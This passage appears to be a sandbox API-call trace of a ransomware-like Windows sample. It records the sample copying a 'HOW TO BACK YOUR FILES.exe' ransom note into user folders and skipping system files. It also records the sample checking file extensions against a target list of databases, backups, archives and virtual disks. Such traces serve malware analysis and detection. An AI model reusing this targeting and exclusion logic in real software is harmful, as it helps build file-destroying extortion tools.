	[0046.396] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33b8cbd0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33b8cbd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0046.396] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0046.397] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c50
	[0046.397] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache"
	[0046.397] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8e98 | out: hHeap=0x580000) returned 1
	[0046.397] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0046.397] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache") returned 65
	[0046.397] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache"
	[0046.397] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.397] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0046.404] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.404] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33bb2d30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33bb2d30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0046.404] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.404] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.404] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.404] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33bb2d30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33bb2d30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.404] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.404] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.404] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.404] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.404] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1NBUR4HR", cAlternateFileName="")) returned 1
	[0046.404] lstrcmpiW (lpString1="1NBUR4HR", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.404] lstrcmpiW (lpString1="1NBUR4HR", lpString2="Apollon865.txt.exe") returned -1
	[0046.404] lstrcmpiW (lpString1="1NBUR4HR", lpString2=".") returned 1
	[0046.404] lstrcmpiW (lpString1="1NBUR4HR", lpString2="..") returned 1
	[0046.405] lstrcmpiW (lpString1="1NBUR4HR", lpString2="windows") returned -1
	[0046.405] lstrcmpiW (lpString1="1NBUR4HR", lpString2="bootmgr") returned -1
	[0046.405] lstrcmpiW (lpString1="1NBUR4HR", lpString2="temp") returned -1
	[0046.405] lstrcmpiW (lpString1="1NBUR4HR", lpString2="pagefile.sys") returned -1
	[0046.405] lstrcmpiW (lpString1="1NBUR4HR", lpString2="boot") returned -1
	[0046.405] lstrcmpiW (lpString1="1NBUR4HR", lpString2="ids.txt") returned -1
	[0046.405] lstrcmpiW (lpString1="1NBUR4HR", lpString2="ntuser.dat") returned -1
	[0046.405] lstrcmpiW (lpString1="1NBUR4HR", lpString2="perflogs") returned -1
	[0046.405] lstrcmpiW (lpString1="1NBUR4HR", lpString2="MSBuild") returned -1
	[0046.405] lstrlenW (lpString="1NBUR4HR") returned 8
	[0046.405] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\*") returned 67
	[0046.405] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="1NBUR4HR" | out: lpString1="1NBUR4HR") returned="1NBUR4HR"
	[0046.405] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0046.405] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x96) returned 0x599d28
	[0046.405] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0046.405] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6ASVN7J7", cAlternateFileName="")) returned 1
	[0046.405] lstrcmpiW (lpString1="6ASVN7J7", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.405] lstrcmpiW (lpString1="6ASVN7J7", lpString2="Apollon865.txt.exe") returned -1
	[0046.405] lstrcmpiW (lpString1="6ASVN7J7", lpString2=".") returned 1
	[0046.405] lstrcmpiW (lpString1="6ASVN7J7", lpString2="..") returned 1
	[0046.405] lstrcmpiW (lpString1="6ASVN7J7", lpString2="windows") returned -1
	[0046.405] lstrcmpiW (lpString1="6ASVN7J7", lpString2="bootmgr") returned -1
	[0046.405] lstrcmpiW (lpString1="6ASVN7J7", lpString2="temp") returned -1
	[0046.405] lstrcmpiW (lpString1="6ASVN7J7", lpString2="pagefile.sys") returned -1
	[0046.405] lstrcmpiW (lpString1="6ASVN7J7", lpString2="boot") returned -1
	[0046.405] lstrcmpiW (lpString1="6ASVN7J7", lpString2="ids.txt") returned -1
	[0046.405] lstrcmpiW (lpString1="6ASVN7J7", lpString2="ntuser.dat") returned -1
	[0046.405] lstrcmpiW (lpString1="6ASVN7J7", lpString2="perflogs") returned -1
	[0046.405] lstrcmpiW (lpString1="6ASVN7J7", lpString2="MSBuild") returned -1
	[0046.405] lstrlenW (lpString="6ASVN7J7") returned 8
	[0046.405] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR") returned 74
	[0046.406] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="6ASVN7J7" | out: lpString1="6ASVN7J7") returned="6ASVN7J7"
	[0046.406] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0046.406] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x96) returned 0x599450
	[0046.406] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7c50
	[0046.406] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D68G7BIJ", cAlternateFileName="")) returned 1
	[0046.406] lstrcmpiW (lpString1="D68G7BIJ", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.406] lstrcmpiW (lpString1="D68G7BIJ", lpString2="Apollon865.txt.exe") returned 1
	[0046.406] lstrcmpiW (lpString1="D68G7BIJ", lpString2=".") returned 1
	[0046.406] lstrcmpiW (lpString1="D68G7BIJ", lpString2="..") returned 1
	[0046.406] lstrcmpiW (lpString1="D68G7BIJ", lpString2="windows") returned -1
	[0046.406] lstrcmpiW (lpString1="D68G7BIJ", lpString2="bootmgr") returned 1
	[0046.406] lstrcmpiW (lpString1="D68G7BIJ", lpString2="temp") returned -1
	[0046.406] lstrcmpiW (lpString1="D68G7BIJ", lpString2="pagefile.sys") returned -1
	[0046.406] lstrcmpiW (lpString1="D68G7BIJ", lpString2="boot") returned 1
	[0046.406] lstrcmpiW (lpString1="D68G7BIJ", lpString2="ids.txt") returned -1
	[0046.406] lstrcmpiW (lpString1="D68G7BIJ", lpString2="ntuser.dat") returned -1
	[0046.406] lstrcmpiW (lpString1="D68G7BIJ", lpString2="perflogs") returned -1
	[0046.406] lstrcmpiW (lpString1="D68G7BIJ", lpString2="MSBuild") returned -1
	[0046.406] lstrlenW (lpString="D68G7BIJ") returned 8
	[0046.406] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7") returned 74
	[0046.406] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="D68G7BIJ" | out: lpString1="D68G7BIJ") returned="D68G7BIJ"
	[0046.406] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0046.406] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x96) returned 0x5994f0
	[0046.406] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7af0
	[0046.406] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe9e3d85, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0046.406] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.406] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0046.406] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0046.406] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0046.406] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0046.406] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0046.406] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0046.406] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0046.407] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0046.407] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0046.407] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0046.407] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0046.407] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0046.407] lstrlenW (lpString="desktop.ini") returned 11
	[0046.407] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ") returned 74
	[0046.407] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0046.407] lstrlenW (lpString="desktop.ini") returned 11
	[0046.407] lstrlenW (lpString="Apollon865") returned 10
	[0046.407] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0046.407] lstrlenW (lpString=".dll") returned 4
	[0046.407] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0046.407] lstrlenW (lpString=".lnk") returned 4
	[0046.407] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0046.407] lstrlenW (lpString=".ini") returned 4
	[0046.407] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0046.407] lstrlenW (lpString=".sys") returned 4
	[0046.407] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0046.407] lstrlenW (lpString="desktop.ini") returned 11
	[0046.407] lstrlenW (lpString="bak") returned 3
	[0046.407] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0046.407] lstrlenW (lpString="ba_") returned 3
	[0046.407] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0046.407] lstrlenW (lpString="dbb") returned 3
	[0046.407] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0046.407] lstrlenW (lpString="vmdk") returned 4
	[0046.407] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0046.407] lstrlenW (lpString="rar") returned 3
	[0046.407] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0046.407] lstrlenW (lpString="zip") returned 3
	[0046.407] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0046.407] lstrlenW (lpString="tgz") returned 3
	[0046.407] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0046.407] lstrlenW (lpString="vbox") returned 4
	[0046.408] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0046.408] lstrlenW (lpString="vdi") returned 3
	[0046.408] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0046.408] lstrlenW (lpString="vhd") returned 3
	[0046.408] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0046.408] lstrlenW (lpString="vhdx") returned 4
	[0046.408] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0046.408] lstrlenW (lpString="avhd") returned 4
	[0046.408] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0046.408] lstrlenW (lpString="db") returned 2
	[0046.408] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0046.408] lstrlenW (lpString="db2") returned 3
	[0046.408] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0046.408] lstrlenW (lpString="db3") returned 3
	[0046.408] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0046.408] lstrlenW (lpString="dbf") returned 3
	[0046.408] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0046.408] lstrlenW (lpString="mdf") returned 3
	[0046.408] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0046.408] lstrlenW (lpString="mdb") returned 3
	[0046.408] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0046.408] lstrlenW (lpString="sql") returned 3
	[0046.408] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0046.408] lstrlenW (lpString="sqlite") returned 6
	[0046.408] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0046.408] lstrlenW (lpString="sqlite3") returned 7
	[0046.408] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0046.408] lstrlenW (lpString="sqlitedb") returned 8
	[0046.408] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0046.408] lstrlenW (lpString="xml") returned 3
	[0046.408] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0046.408] lstrlenW (lpString="$er") returned 3
	[0046.408] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0046.408] lstrlenW (lpString="4dd") returned 3
	[0046.408] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0046.409] lstrlenW (lpString="4dl") returned 3
	[0046.409] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0046.409] lstrlenW (lpString="^^^") returned 3
	[0046.409] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0046.409] lstrlenW (lpString="abs") returned 3
	[0046.409] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0046.409] lstrlenW (lpString="abx") returned 3
	[0046.409] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0046.409] lstrlenW (lpString="accdb") returned 5
	[0046.409] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0046.409] lstrlenW (lpString="accdc") returned 5
	[0046.409] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0046.409] lstrlenW (lpString="accde") returned 5
	[0046.409] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0046.409] lstrlenW (lpString="accdr") returned 5
	[0046.409] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0046.409] lstrlenW (lpString="accdt") returned 5
	[0046.409] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0046.409] lstrlenW (lpString="accdw") returned 5
	[0046.409] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0046.409] lstrlenW (lpString="accft") returned 5
	[0046.409] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0046.409] lstrlenW (lpString="adb") returned 3
	[0046.409] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0046.409] lstrlenW (lpString="adb") returned 3
	[0046.409] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0046.409] lstrlenW (lpString="ade") returned 3
	[0046.409] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0046.409] lstrlenW (lpString="adf") returned 3
	[0046.409] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0046.409] lstrlenW (lpString="adn") returned 3
	[0046.409] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0046.409] lstrlenW (lpString="adp") returned 3
	[0046.410] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0046.410] lstrlenW (lpString="alf") returned 3
	[0046.410] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0046.410] lstrlenW (lpString="ask") returned 3
	[0046.410] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0046.410] lstrlenW (lpString="btr") returned 3
	[0046.410] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0046.410] lstrlenW (lpString="cat") returned 3
	[0046.410] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0046.410] lstrlenW (lpString="cdb") returned 3
	[0046.410] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0046.410] lstrlenW (lpString="ckp") returned 3
	[0046.410] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0046.410] lstrlenW (lpString="cma") returned 3
	[0046.410] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0046.410] lstrlenW (lpString="cpd") returned 3
	[0046.410] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0046.410] lstrlenW (lpString="dacpac") returned 6
	[0046.410] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0046.410] lstrlenW (lpString="dad") returned 3
	[0046.410] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0046.410] lstrlenW (lpString="dadiagrams") returned 10
	[0046.410] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0046.410] lstrlenW (lpString="daschema") returned 8
	[0046.410] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0046.410] lstrlenW (lpString="db-journal") returned 10
	[0046.410] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0046.410] lstrlenW (lpString="db-shm") returned 6
	[0046.410] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0046.410] lstrlenW (lpString="db-wal") returned 6
	[0046.410] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0046.410] lstrlenW (lpString="dbc") returned 3
	[0046.411] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0046.411] lstrlenW (lpString="dbs") returned 3
	[0046.411] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0046.411] lstrlenW (lpString="dbt") returned 3
	[0046.411] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0046.411] lstrlenW (lpString="dbv") returned 3
	[0046.411] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0046.411] lstrlenW (lpString="dbx") returned 3
	[0046.411] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0046.411] lstrlenW (lpString="dcb") returned 3
	[0046.411] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0046.411] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0046.411] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="index.dat" | out: lpString1="index.dat") returned="index.dat"
	[0046.411] lstrlenW (lpString="index.dat") returned 9
	[0046.411] lstrlenW (lpString="Apollon865") returned 10
	[0046.411] lstrlenW (lpString=".dll") returned 4
	[0046.411] lstrcmpiW (lpString1="index.dat", lpString2=".dll") returned 1
	[0046.411] lstrlenW (lpString=".lnk") returned 4
	[0046.411] lstrcmpiW (lpString1="index.dat", lpString2=".lnk") returned 1
	[0046.411] lstrlenW (lpString=".ini") returned 4
	[0046.411] lstrcmpiW (lpString1="index.dat", lpString2=".ini") returned 1
	[0046.411] lstrlenW (lpString=".sys") returned 4
	[0046.411] lstrcmpiW (lpString1="index.dat", lpString2=".sys") returned 1
	[0046.411] lstrlenW (lpString="index.dat") returned 9
	[0046.411] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="KQMHSVKD" | out: lpString1="KQMHSVKD") returned="KQMHSVKD"
	[0046.411] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c08
	[0046.411] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x96) returned 0x599590
	[0046.411] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c10 | out: ListHead=0x5b76b0, ListEntry=0x5b7c10) returned 0x5b7b10
	[0046.411] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d90010, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d90010, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KQMHSVKD", cAlternateFileName="")) returned 0
	[0046.412] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0046.412] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c10
	[0046.412] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD"
	[0046.412] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599590 | out: hHeap=0x580000) returned 1
	[0046.412] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0046.412] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD") returned 74
	[0046.412] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD"
	[0046.412] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.412] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0046.418] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.418] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33bd8e90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33bd8e90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0046.418] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.418] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.418] lstrcmpiW (lpString1=".", lpString2=".") returned 0
